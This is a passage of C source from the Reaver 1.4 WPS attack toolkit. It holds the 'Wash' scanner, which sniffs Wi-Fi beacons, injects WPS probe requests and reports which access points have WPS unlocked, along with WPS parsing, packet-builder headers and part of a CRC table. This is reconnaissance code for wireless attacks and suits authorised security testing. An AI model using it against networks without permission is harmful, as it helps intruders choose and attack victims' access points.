statement from all source * files in the program, then also delete it here. */ #ifndef WPSMON_H #define WPSMON_H #include #include #include #include #include #include "defs.h" #include "globule.h" #include "misc.h" #include "init.h" #include "sql.h" #include "iface.h" #include "80211.h" #include "builder.h" #include "config.h" #define INTERFACE 0 #define PCAP_FILE 1 #define PROBE_RESPONSE 0x05 #define WPS_VENDOR_ID "\x00\x50\xF2\x04" #define WPS_VENDOR_ID_SIZE 4 #define VENDOR_ID_OFFSET 2 #define LENGTH_OFFSET 1 #define SURVEY 0 #define SCAN 1 #define CHANNEL_INTERVAL 999999 #define YES "Yes" #define NO "No " #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" #define PACKET_FILTER "type mgt and (subtype beacon or subtype proberesp)" enum tag_type { HEX = 0, STRING = 1 }; struct elements { int number; enum tag_type type; char *name; }; struct data_element { uint16_t type; uint16_t len; }; struct global_variables { int csv; FILE *fp; int bssid_count; unsigned char **bssids; } wpsmon; void monitor(char *bssid, int passive, int source, int channel, int mode); void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source); void send_probe_request(unsigned char *bssid, char *essid); int is_dup(unsigned char *bssid); void mark_bssid(unsigned char *bssid); void free_bssid_list(unsigned char **list, int count); void sigalrm_handler(int x); void usage(char *prog); #endif reaver-1.4/src/wpsmon.c0000644000175000017500000003012411705505257014461 0ustar reaverreaver/* * Wash - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "wpsmon.h" int main(int argc, char *argv[]) { int c = 0; FILE *fp = NULL; int long_opt_index = 0, i = 0, channel = 0, passive = 0, mode = 0; int source = INTERFACE, ret_val = EXIT_FAILURE; struct bpf_program bpf = { 0 }; char *out_file = NULL, *last_optarg = NULL, *target = NULL, *bssid = NULL; char *short_options = "i:c:n:o:b:5sfuCDh"; struct option long_options[] = { { "bssid", required_argument, NULL, 'b' }, { "interface", required_argument, NULL, 'i' }, { "channel", required_argument, NULL, 'c' }, { "out-file", required_argument, NULL, 'o' }, { "probes", required_argument, NULL, 'n' }, { "daemonize", no_argument, NULL, 'D' }, { "file", no_argument, NULL, 'f' }, { "ignore-fcs", no_argument, NULL, 'C' }, { "5ghz", no_argument, NULL, '5' }, { "scan", no_argument, NULL, 's' }, { "survey", no_argument, NULL, 'u' }, { "help", no_argument, NULL, 'h' }, { 0, 0, 0, 0 } }; fprintf(stderr, "\nWash v%s WiFi Protected Setup Scan Tool\n", PACKAGE_VERSION); fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner \n\n"); globule_init(); sql_init(); create_ap_table(); set_auto_channel_select(0); set_wifi_band(BG_BAND); set_debug(INFO); set_validate_fcs(1); set_log_file(stdout); set_max_num_probes(DEFAULT_MAX_NUM_PROBES); while((c = getopt_long(argc, argv, short_options, long_options, &long_opt_index)) != -1) { switch(c) { case 'f': source = PCAP_FILE; break; case 'i': set_iface(optarg); break; case 'b': bssid = strdup(optarg); break; case 'c': channel = atoi(optarg); set_fixed_channel(1); break; case '5': set_wifi_band(AN_BAND); break; case 'n': set_max_num_probes(atoi(optarg)); break; case 'o': out_file = strdup(optarg); break; case 's': mode = SCAN; break; case 'u': mode = SURVEY; break; case 'C': set_validate_fcs(0); break; case 'D': daemonize(); break; default: usage(argv[0]); goto end; } /* Track the last optarg. This is used later when looping back through any specified pcap files. */ if(optarg) { if(last_optarg) { free(last_optarg); } last_optarg = strdup(optarg); } } /* The interface value won't be set if capture files were specified; else, there should have been an interface specified */ if(!get_iface() && source != PCAP_FILE) { usage(argv[0]); goto end; } if(get_iface() && source == PCAP_FILE) { cprintf(CRITICAL, "[X] ERROR: -i and -f options cannot be used together.\n"); usage(argv[0]); goto end; } /* If we're reading from a file, be sure we don't try to transmit probe requests */ if(source == PCAP_FILE) { passive = 1; } /* Open the output file, if any. If none, write to stdout. */ if(out_file) { fp = fopen(out_file, "wb"); if(!fp) { cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for writing\n", out_file); goto end; } set_log_file(fp); } /* * Loop through all of the specified capture sources. If an interface was specified, this will only loop once and the * call to monitor() will block indefinitely. If capture files were specified, this will loop through each file specified * on the command line and monitor() will return after each file has been processed. */ for(i=argc-1; i>0; i--) { /* If the source is a pcap file, get the file name from the command line */ if(source == PCAP_FILE) { /* If we've gotten to the arguments, we're done */ if((argv[i][0] == '-') || (last_optarg && (memcmp(argv[i], last_optarg, strlen(last_optarg)) == 0)) ) { break; } else { target = argv[i]; } } /* Else, use the specified interface name */ else { target = get_iface(); } set_handle(capture_init(target)); if(!get_handle()) { cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface()); goto end; } if(pcap_compile(get_handle(), &bpf, PACKET_FILTER, 0, 0) != 0) { cprintf(CRITICAL, "[X] ERROR: Failed to compile packet filter\n"); goto end; } if(pcap_setfilter(get_handle(), &bpf) != 0) { cprintf(CRITICAL, "[X] ERROR: Failed to set packet filter\n"); goto end; } /* Do it. */ monitor(bssid, passive, source, channel, mode); printf("\n"); } ret_val = EXIT_SUCCESS; end: globule_deinit(); sql_cleanup(); if(bssid) free(bssid); if(out_file) free(out_file); if(wpsmon.fp) fclose(wpsmon.fp); return ret_val; } /* Monitors an interface (or capture file) for WPS data in beacon packets or probe responses */ void monitor(char *bssid, int passive, int source, int channel, int mode) { struct sigaction act; struct itimerval timer; struct pcap_pkthdr header; static int header_printed; const u_char *packet = NULL; memset(&act, 0, sizeof(struct sigaction)); memset(&timer, 0, sizeof(struct itimerval)); /* If we aren't reading from a pcap file, set the interface channel */ if(source == INTERFACE) { /* * If a channel has been specified, set the interface to that channel. * Else, set a recurring 1 second timer that will call sigalrm() and switch to * a new channel. */ if(channel > 0) { change_channel(channel); } else { act.sa_handler = sigalrm_handler; sigaction (SIGALRM, &act, 0); ualarm(CHANNEL_INTERVAL, CHANNEL_INTERVAL); change_channel(1); } } if(!header_printed) { cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n"); cprintf(INFO, "---------------------------------------------------------------------------------------------------------------\n"); header_printed = 1; } while((packet = next_packet(&header))) { parse_wps_settings(packet, &header, bssid, passive, mode, source); memset((void *) packet, 0, header.len); } return; } void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct libwps_data *wps = NULL; enum encryption_type encryption = NONE; char *bssid = NULL, *ssid = NULL, *lock_display = NULL; int wps_parsed = 0, probe_sent = 0, channel = 0, rssi = 0; static int channel_changed = 0; wps = malloc(sizeof(struct libwps_data)); memset(wps, 0, sizeof(struct libwps_data)); if(packet == NULL || header == NULL || header->len < MIN_BEACON_SIZE) { goto end; } rt_header = (struct radio_tap_header *) radio_header(packet, header->len); frame_header = (struct dot11_frame_header *) (packet + rt_header->len); /* If a specific BSSID was specified, only parse packets from that BSSID */ if(!is_target(frame_header)) { goto end; } set_ssid(NULL); bssid = (char *) mac2str(frame_header->addr3, ':'); if(bssid) { if((target == NULL) || (target != NULL && strcmp(bssid, target) == 0)) { channel = parse_beacon_tags(packet, header->len); rssi = signal_strength(packet, header->len); ssid = (char *) get_ssid(); if(target != NULL && channel_changed == 0) { ualarm(0, 0); change_channel(channel); channel_changed = 1; } if(frame_header->fc.sub_type == PROBE_RESPONSE || frame_header->fc.sub_type == SUBTYPE_BEACON) { wps_parsed = parse_wps_parameters(packet, header->len, wps); } if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) { if(frame_header->fc.sub_type == SUBTYPE_BEACON && mode == SCAN && !passive && should_probe(bssid)) { send_probe_request(get_bssid(), get_ssid()); probe_sent = 1; } if(!insert(bssid, ssid, wps, encryption, rssi)) { update(bssid, ssid, wps, encryption); } else if(wps->version > 0) { switch(wps->locked) { case WPSLOCKED: lock_display = YES; break; case UNLOCKED: case UNSPECIFIED: lock_display = NO; break; } cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); } if(probe_sent) { update_probe_count(bssid); } /* * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on. * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on. */ if(!wps_parsed || frame_header->fc.sub_type == PROBE_RESPONSE) { mark_ap_complete(bssid); } } } /* Only update received signal strength if we are on the same channel as the AP, otherwise power measurements are screwy */ if(channel == get_channel()) { update_ap_power(bssid, rssi); } free(bssid); bssid = NULL; } end: if(wps) free(wps); return; } /* Does what it says */ void send_probe_request(unsigned char *bssid, char *essid) { const void *probe = NULL; size_t probe_size = 0; probe = build_wps_probe_request(bssid, essid, &probe_size); if(probe) { pcap_inject(get_handle(), probe, probe_size); free((void *) probe); } return; } /* Whenever a SIGALRM is thrown, go to the next 802.11 channel */ void sigalrm_handler(int x) { next_channel(); } void usage(char *prog) { fprintf(stderr, "Required Arguments:\n"); fprintf(stderr, "\t-i, --interface= Interface to capture packets on\n"); fprintf(stderr, "\t-f, --file [FILE1 FILE2 FILE3 ...] Read packets from capture files\n"); fprintf(stderr, "\nOptional Arguments:\n"); fprintf(stderr, "\t-c, --channel= Channel to listen on [auto]\n"); fprintf(stderr, "\t-o, --out-file= Write data to file\n"); fprintf(stderr, "\t-n, --probes= Maximum number of probes to send to each AP in scan mode [%d]\n", DEFAULT_MAX_NUM_PROBES); fprintf(stderr, "\t-D, --daemonize Daemonize wash\n"); fprintf(stderr, "\t-C, --ignore-fcs Ignore frame checksum errors\n"); fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n"); fprintf(stderr, "\t-s, --scan Use scan mode\n"); fprintf(stderr, "\t-u, --survey Use survey mode [default]\n"); fprintf(stderr, "\t-h, --help Show help\n"); fprintf(stderr, "\nExample:\n"); fprintf(stderr, "\t%s -i mon0\n\n", prog); return; } reaver-1.4/src/builder.h0000644000175000017500000000727611705505257014605 0ustar reaverreaver/* * Reaver - Packet building functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef BUILDER_H #define BUILDER_H #include #include "defs.h" #include "globule.h" #define SRATES_TAG_SIZE 8 #define ERATES_TAG_SIZE 4 #define SRATES_TAG_NUMBER 0x01 #define ERATES_TAG_NUMBER 0x32 #define WPS_TAG_SIZE 14 #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02" #define SUPPORTED_RATES_TAG "\x02\x04\x0B\x16\x0C\x12\x18\x24" #define EXTENDED_RATES_TAG "\x30\x48\x60\x6C" #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02" #define DEFAULT_DURATION 52 #define DOT1X_VERSION 0x01 #define DOT1X_START 0x01 #define FC_PROBE_REQUEST 0x0040 #define FC_STANDARD 0x0108 #define LLC_SNAP 0xAA #define SEQ_MASK 0x10 #define LISTEN_INTERVAL 0x0064 #define OPEN_SYSTEM 0 #define UNNUMBERED_FRAME 0x03 #define WFA_VENDOR_ID "\x00\x37\x2A" #define WPS_PROBE_IE "\xdd\x09\x00\x50\xf2\x04\x10\x4a\x00\x01\x10" #define WPS_PROBE_IE_SIZE 11 const void *build_radio_tap_header(size_t *len); const void *build_dot11_frame_header(uint16_t fc, size_t *len); const void *build_authentication_management_frame(size_t *len); const void *build_association_management_frame(size_t *len); const void *build_llc_header(size_t *len); const void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len); const void *build_snap_packet(size_t *len); const void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len); const void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len); const void *build_eapol_start_packet(size_t *len); const void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len); const void *build_eap_failure_packet(size_t *len); const void *build_tagged_parameter(uint8_t number, uint8_t size, size_t *len); const void *build_ssid_tagged_parameter(size_t *len); const void *build_wps_tagged_parameter(size_t *len); const void *build_supported_rates_tagged_parameter(size_t *len); #endif reaver-1.4/src/libwps/0000755000175000017500000000000011705505257014272 5ustar reaverreaverreaver-1.4/src/libwps/libwps.h0000755000175000017500000000645111705505257015754 0ustar reaverreaver/* * LibWPS * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * See README and LICENSE for more details. */ #ifndef LIBWPS_H #define LIBWPS_H #include #include #include #include #include #define LIBWPS_MAX_STR_LEN 256 enum wps_locked_state { UNLOCKED, WPSLOCKED, UNSPECIFIED }; struct libwps_data { uint8_t version; uint8_t state; uint8_t locked; char manufacturer[LIBWPS_MAX_STR_LEN]; char model_name[LIBWPS_MAX_STR_LEN]; char model_number[LIBWPS_MAX_STR_LEN]; char device_name[LIBWPS_MAX_STR_LEN]; char ssid[LIBWPS_MAX_STR_LEN]; char uuid[LIBWPS_MAX_STR_LEN]; char serial[LIBWPS_MAX_STR_LEN]; char selected_registrar[LIBWPS_MAX_STR_LEN]; char response_type[LIBWPS_MAX_STR_LEN]; char primary_device_type[LIBWPS_MAX_STR_LEN]; char config_methods[LIBWPS_MAX_STR_LEN]; char rf_bands[LIBWPS_MAX_STR_LEN]; char os_version[LIBWPS_MAX_STR_LEN]; }; int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps); #ifdef LIBWPS_C #define WPS_TAG_NUMBER 0xDD #define WPS_VENDOR_ID "\x00\x50\xF2\x04" #define WPS_VENDOR_ID_SIZE 4 #define VENDOR_ID_OFFSET 2 #define RADIO_TAP_VERSION 0 #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" #define TIMESTAMP_LEN 8 #define MAC_ADDR_LEN 6 enum wps_el_number { VERSION = 0x104A, STATE = 0x1044, LOCKED = 0x1057, MANUFACTURER = 0x1021, MODEL_NAME = 0x1023, MODEL_NUMBER = 0x1024, DEVICE_NAME = 0x1011, SSID = 0x1045, UUID = 0x1047, SERIAL = 0x1042, SELECTED_REGISTRAR = 0x1041, RESPONSE_TYPE = 0x103B, PRIMARY_DEVICE_TYPE = 0x1054, CONFIG_METHODS = 0x1008, RF_BANDS = 0x103C, OS_VERSION = 0x102D }; struct wps_element { enum wps_el_number number; char *name; }; struct data_element { uint16_t type; uint16_t len; }; struct tagged_parameter { uint8_t number; uint8_t len; }; struct radio_tap_header { uint8_t revision; uint8_t pad; uint16_t len; uint32_t present_flags; }; struct dot11_frame_header { uint16_t fc; uint16_t duration; unsigned char addr1[MAC_ADDR_LEN]; unsigned char addr2[MAC_ADDR_LEN]; unsigned char addr3[MAC_ADDR_LEN]; uint16_t frag_seq; }; struct management_frame { unsigned char timestamp[TIMESTAMP_LEN]; uint16_t beacon_interval; uint16_t capability; }; int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps); unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len); unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len); int libwps_has_rt_header(const u_char *packet, size_t len); const u_char *libwps_radio_header(const u_char *packet, size_t len); char *hex2str(unsigned char *hex, int len); #endif #endif reaver-1.4/src/libwps/libwps.c0000755000175000017500000001724511705505257015752 0ustar reaverreaver/* * LibWPS * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * See README and LICENSE for more details. */ #define LIBWPS_C #include "libwps.h" /* * This is the only function that external code should call. * * const u_char *packet Pointer to a beacon or probe response packet * size_t len Size of the packet * struct libwps_data *wps Pointer to an allocated libwps_data structure * * Returns 1 if WPS data was found and the libwps_data structure has been populated. * Returns 0 if no WPS data was found. */ int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps) { const u_char *data = NULL; size_t data_len = 0, offset = 0; struct radio_tap_header *rt_header = NULL; int ret_val = 0; if(wps) { memset(wps, 0, sizeof(struct libwps_data)); if(len > (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct management_frame))) { rt_header = (struct radio_tap_header *) libwps_radio_header(packet, len); offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct management_frame); data = (packet + offset); data_len = (len - offset); ret_val = parse_wps_tag(data, len, wps); } } return ret_val; } /* Parse and print WPS data in beacon packets and probe responses */ int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps) { unsigned char *wps_ie_data = NULL, *el = NULL; char *ptr = NULL, *src = NULL; int i = 0, ret_val = 0; size_t wps_data_len = 0, el_len = 0; enum wps_el_number elements[] = { VERSION, STATE, LOCKED, MANUFACTURER, MODEL_NAME, MODEL_NUMBER, DEVICE_NAME, SSID, UUID, SERIAL, SELECTED_REGISTRAR, RESPONSE_TYPE, PRIMARY_DEVICE_TYPE, CONFIG_METHODS, RF_BANDS, OS_VERSION }; /* Get the WPS IE data blob */ wps_ie_data = get_wps_data(tags, len, &wps_data_len); wps->locked = UNSPECIFIED; if(wps_ie_data) { for(i=0; i LIBWPS_MAX_STR_LEN) { el_len = LIBWPS_MAX_STR_LEN; } switch(elements[i]) { case VERSION: wps->version = (uint8_t) el[0]; break; case STATE: wps->state = (uint8_t) el[0]; break; case LOCKED: wps->locked = (uint8_t) el[0]; break; case MANUFACTURER: ptr = wps->manufacturer; break; case MODEL_NAME: ptr = wps->model_name; break; case MODEL_NUMBER: ptr = wps->model_number; break; case DEVICE_NAME: ptr = wps->device_name; break; case SSID: ptr = wps->ssid; break; case UUID: src = hex2str(el, el_len); ptr = wps->uuid; break; case SERIAL: src = hex2str(el, el_len); ptr = wps->serial; break; case SELECTED_REGISTRAR: src = hex2str(el, el_len); ptr = wps->selected_registrar; break; case RESPONSE_TYPE: src = hex2str(el, el_len); ptr = wps->response_type; break; case PRIMARY_DEVICE_TYPE: src = hex2str(el, el_len); ptr = wps->primary_device_type; break; case CONFIG_METHODS: src = hex2str(el, el_len); ptr = wps->config_methods; break; case RF_BANDS: src = hex2str(el, el_len); ptr = wps->rf_bands; break; case OS_VERSION: src = hex2str(el, el_len); ptr = wps->os_version; break; default: src = NULL; ptr = NULL; } if(!ptr) { continue; } memset(ptr, 0, LIBWPS_MAX_STR_LEN); if(!src) { memcpy(ptr, el, el_len); } else { strncpy(ptr, src, LIBWPS_MAX_STR_LEN); free(src); } src = NULL; ptr = NULL; free(el); } } ret_val = 1; free(wps_ie_data); } return ret_val; } /* Extracts and returns the WPS IE from a beacon/probe response packet */ unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len) { unsigned char *tag_data = NULL; struct tagged_parameter *tag_params = NULL; size_t tag_data_len = 0; int i = 0; for(i=0; i (WPS_VENDOR_ID_SIZE + VENDOR_ID_OFFSET)) { /* * The WPS IE tag number is 'Vendor Specific' and has various other uses. * Verify that this is actually a WPS IE. */ if(memcmp((data+i+VENDOR_ID_OFFSET), WPS_VENDOR_ID, WPS_VENDOR_ID_SIZE) == 0) { tag_params = (struct tagged_parameter *) (data+i); tag_data_len = tag_params->len - WPS_VENDOR_ID_SIZE; tag_data = malloc(tag_data_len); if(tag_data) { memset(tag_data, 0, tag_data_len); memcpy(tag_data, (data+i+VENDOR_ID_OFFSET+WPS_VENDOR_ID_SIZE), tag_data_len); *tag_len = tag_data_len; } break; } } } return tag_data; } /* Gets the data for a given IE inside a tagged parameter list */ unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len) { unsigned char *el_data = NULL; int offset = 0, tag_size = 0, el_data_size = 0; struct data_element *el = NULL; tag_size = sizeof(struct data_element); while((offset + tag_size) < len) { el = (struct data_element *) (data + offset); /* Check for the tag number and a sane tag length value */ if((ntohs(el->type) == type) && (ntohs(el->len) <= (len - offset - tag_size)) ) { el_data_size = ntohs(el->len); el_data = malloc(el_data_size); if(el_data) { memset(el_data, 0, el_data_size); memcpy(el_data, (data + offset + tag_size), el_data_size); *el_len = el_data_size; } break; } offset += (tag_size + ntohs(el->len)); } return el_data; } /* Make best guess to determine if a radio tap header is present */ int libwps_has_rt_header(const u_char *packet, size_t len) { struct radio_tap_header *rt_header = 0; int yn = 1; rt_header = (struct radio_tap_header *) packet; if((rt_header->revision != RADIO_TAP_VERSION) || ((int) rt_header->len <= 0) || (rt_header->len >= len) ) { yn = 0; } return yn; } /* * Returns a pointer to the radio tap header. If there is no radio tap header, * it returns a pointer to a dummy radio tap header. */ const u_char *libwps_radio_header(const u_char *packet, size_t len) { if(libwps_has_rt_header(packet, len)) { return packet; } else { return (u_char *) FAKE_RADIO_TAP_HEADER; } } /* Convert raw data to a hex string */ char *hex2str(unsigned char *hex, int len) { char *str = NULL; int str_len = 0, i = 0; char tmp_str[3] = { 0 }; str_len = (len * 2); str = malloc(str_len+1); if(str) { memset(str, 0, (str_len+1)); for(i=0; i * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "crc.h" /**********************************************************************/ /* The following was grabbed and tweaked from the old snippets collection * of public domain C code. */ /**********************************************************************\ |* Demonstration program to compute the 32-bit CRC used as the frame *| |* check sequence in ADCCP (ANSI X3.66, also known as FIPS PUB 71 *| |* and FED-STD-1003, the U.S. versions of CCITT's X.25 link-level *| |* protocol). The 32-bit FCS was added via the Federal Register, *| |* 1 June 1982, p.23798. I presume but don't know for certain that *| |* this polynomial is or will be included in CCITT V.41, which *| |* defines the 16-bit CRC (often called CRC-CCITT) polynomial. FIPS *| |* PUB 78 says that the 32-bit FCS reduces otherwise undetected *| |* errors by a factor of 10^-5 over 16-bit FCS. *| \**********************************************************************/ /* Copyright (C) 1986 Gary S. Brown. You may use this program, or code or tables extracted from it, as desired without restriction.*/ /* First, the polynomial itself and its table of feedback terms. The */ /* polynomial is */ /* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */ /* Note that we take it "backwards" and put the highest-order term in */ /* the lowest-order bit. The X^32 term is "implied"; the LSB is the */ /* X^31 term, etc. The X^0 term (usually shown as "+1") results in */ /* the MSB being 1. */ /* Note that the usual hardware shift register implementation, which */ /* is what we're using (we're merely optimizing it by doing eight-bit */ /* chunks at a time) shifts bits into the lowest-order term. In our */ /* implementation, that means shifting towards the right. Why do we */ /* do it this way? Because the calculated CRC must be transmitted in */ /* order from highest-order term to lowest-order term. UARTs transmit */ /* characters in order from LSB to MSB. By storing the CRC this way, */ /* we hand it to the UART in the order low-byte to high-byte; the UART */ /* sends each low-bit to hight-bit; and the result is transmission bit */ /* by bit from highest- to lowest-order term without requiring any bit */ /* shuffling on our part. Reception works similarly. */ /* The feedback terms table consists of 256, 32-bit entries. Notes: */ /* */ /* 1. The table can be generated at runtime if desired; code to do so */ /* is shown later. It might not be obvious, but the feedback */ /* terms simply represent the results of eight shift/xor opera- */ /* tions for all combinations of data and CRC register values. */ /* */ /* 2. The CRC accumulation logic is the same for all CRC polynomials, */ /* be they sixteen or thirty-two bits wide. You simply choose the */ /* appropriate table. Alternatively, because the table can be */ /* generated at runtime, you can start by generating the table for */ /* the polynomial in question and use exactly the same "updcrc", */ /* if your application needn't simultaneously handle two CRC */ /* polynomials. (Note, however, that XMODEM is strange.) */ /* */ /* 3. For 16-bit CRCs, the table entries need be only 16 bits wide; */ /* of course, 32-bit entries work OK if the high 16 bits are zero. */ /* */ /* 4. The values must be right-shifted by eight bits by the "updcrc" */ /* logic; the shift must be unsigned (bring in zeroes). On some */ /* hardware you could probably optimize the shift in assembler by */ /* using byte-swap instructions. */ static const uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */ 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 